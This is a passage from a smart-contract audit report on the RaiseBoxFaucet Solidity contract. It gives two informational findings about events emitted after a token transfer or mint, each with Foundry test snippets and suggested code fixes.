6 +      uint256 currentFaucetDripDay = block.timestamp / 24 hours;
7 +
8 +      if (currentFaucetDripDay > lastFaucetDripDay) {
9 +          lastFaucetDripDay = currentFaucetDripDay;
10 +         dailyClaimCount = 0;
11 +     }

```

Informational

[I-1] The Claimed event in the `RaiseBoxFaucet::claimFaucetTokens` function is emitted after the `faucetDrip` is transferred to the user, potentially causing confusion and misinterpretation of the event.

Description: The `Claimed` event is emitted after the `faucetDrip` is transferred to the user, potentially causing confusion and misinterpretation of the event by users and dapps.

Root cause:

```

1   function claimFaucetTokens() public {
2
3     ...
4
5     // Effects
6
7     lastClaimTime[faucetClaimer] = block.timestamp;
8     dailyClaimCount++;
9
10    // Interactions
11    _transfer(address(this), faucetClaimer, faucetDrip);
12
13    @>    emit Claimed(msg.sender, faucetDrip);
14    ...
15
16  }

```

Impact: Confusion and misinterpretation of the event by users and dapps.

Proof of Concept: Add the following code snippet to the `RaiseBoxFaucet.t.sol` test file.

This code snippet is designed to demonstrate the `Claimed` event is emitted after the `faucetDrip` is transferred to the user, after all standard ERC20 events have already been emitted.

```

1  event SepEthDripped(address indexed claimant, uint256 amount);
2  event Transfer(address indexed from, address indexed to, uint256
     value);
3  event Claimed(address indexed user, uint256 amount);
4
5  function testClaimedEvents() public {
6      vm.expectEmit(true, false, false, true, address(raiseBoxFaucet)
     );
7      emit SepEthDripped(user1, raiseBoxFaucet.sepEthAmountToDrip());
8      vm.expectEmit(true, true, false, true, address(raiseBoxFaucet))
     ;
9      emit Transfer(address(raiseBoxFaucet), user1, raiseBoxFaucet.
     faucetDrip());
10     vm.expectEmit(true, false, false, true, address(raiseBoxFaucet)
     );
11     emit Claimed(user1, raiseBoxFaucet.faucetDrip());
12     vm.prank(user1);
13     raiseBoxFaucet.claimFaucetTokens();
14     console.log("user balance of ETH: ", user1.balance);
15     console.log("user balance of faucet tokens: ", raiseBoxFaucet.
     balanceOf(user1));
16 }
```

Recommended Mitigation: To follow the Check-Effects-Interactions (CEI) pattern and emit the event before the interaction, the `Claimed` event should be emitted before the `faucetDrip` is transferred to the user.

```

1  function claimFaucetTokens() public {
2
3  ...
4
5      // Effects
6
7      lastClaimTime[faucetClaimer] = block.timestamp;
8      dailyClaimCount++;
9 +     emit Claimed(msg.sender, faucetDrip);
10
11     // Interactions
12     _transfer(address(this), faucetClaimer, faucetDrip);
13
14 -     emit Claimed(msg.sender, faucetDrip);
15
16 }
```

[I-2] The MintedNewFaucetTokens event in the RaiseBoxFaucet::mintFaucetTokens function is emitted after the _mint function call, potentially causing confusion and misinterpretation of the event.

Description: The `MintedNewFaucetTokens` event is emitted after the `_mint` function call, potentially causing confusion and misinterpretation of the event.

Root cause:

```

1   function mintFaucetTokens(address to, uint256 amount) public
2       onlyOwner {
3           if (to != address(this)) {
4               revert RaiseBoxFaucet_MiningToNonContractAddressFailed();
5           }
6
7           if (balanceOf(address(to)) > 1000 * 10 ** 18) {
8               revert RaiseBoxFaucet_FaucetNotOutOfTokens();
9           }
10
11           _mint(to, amount);
12
13     @return emit MintedNewFaucetTokens(to, amount);
14 }
```

Impact: Confusion and misinterpretation of the event by users and dapps.

Proof of Concept: Add the following code snippet to the `RaiseBoxFaucet.t.sol` test file.

This code snippet is designed to demonstrate the `MintedNewFaucetTokens` event is emitted after the `_mint` function, which also emits events.

```

1   function testMintNewFaucetTokensEvents() public {
2       // reduce balance of contract
3       console.log("Balance of contract: ", raiseBoxFaucet.balanceOf(
4           address(raiseBoxFaucet)));
5       vm.prank(owner);
6       raiseBoxFaucet.burnFaucetTokens(raiseBoxFaucet.balanceOf(
7           address(raiseBoxFaucet)) - 1);
8       console.log("Balance of contract after burn: ", raiseBoxFaucet.
9           balanceOf(address(raiseBoxFaucet)));
10      // Try to mint more;
11      vm.prank(owner);
12      vm.expectEmit(true, true, false, true, address(raiseBoxFaucet))
13          ;
14      // First event transfer
15      emit Transfer(address(0), address(raiseBoxFaucet), 2222e18);
16      vm.expectEmit(true, false, false, true, address(raiseBoxFaucet))
17          ;
18      // Second event minted, after transfer should be in reverse
19          order
```

```
14         emit MintedNewFaucetTokens(address(raiseBoxFaucet), 2222e18);
15         raiseBoxFaucet.mintFaucetTokens(address(raiseBoxFaucet), 2222
16             e18);
16         console.log("Balance of contract after mint: ", raiseBoxFaucet.
17             balanceOf(address(raiseBoxFaucet)));
17     }
```

Recommended Mitigation: Move the `MintedNewFaucetTokens` event before the `_mint` function call.

```
1     function mintFaucetTokens(address to, uint256 amount) public
2         onlyOwner {
3             if (to != address(this)) {
4                 revert RaiseBoxFaucet_MiningToNonContractAddressFailed();
5             }
6
7             if (balanceOf(address(to)) > 1000 * 10 ** 18) {
8                 revert RaiseBoxFaucet_FaucetNotOutOfTokens();
9             }
10            +   emit MintedNewFaucetTokens(to, amount);
11            _mint(to, amount);
12            -   emit MintedNewFaucetTokens(to, amount);
13        }
```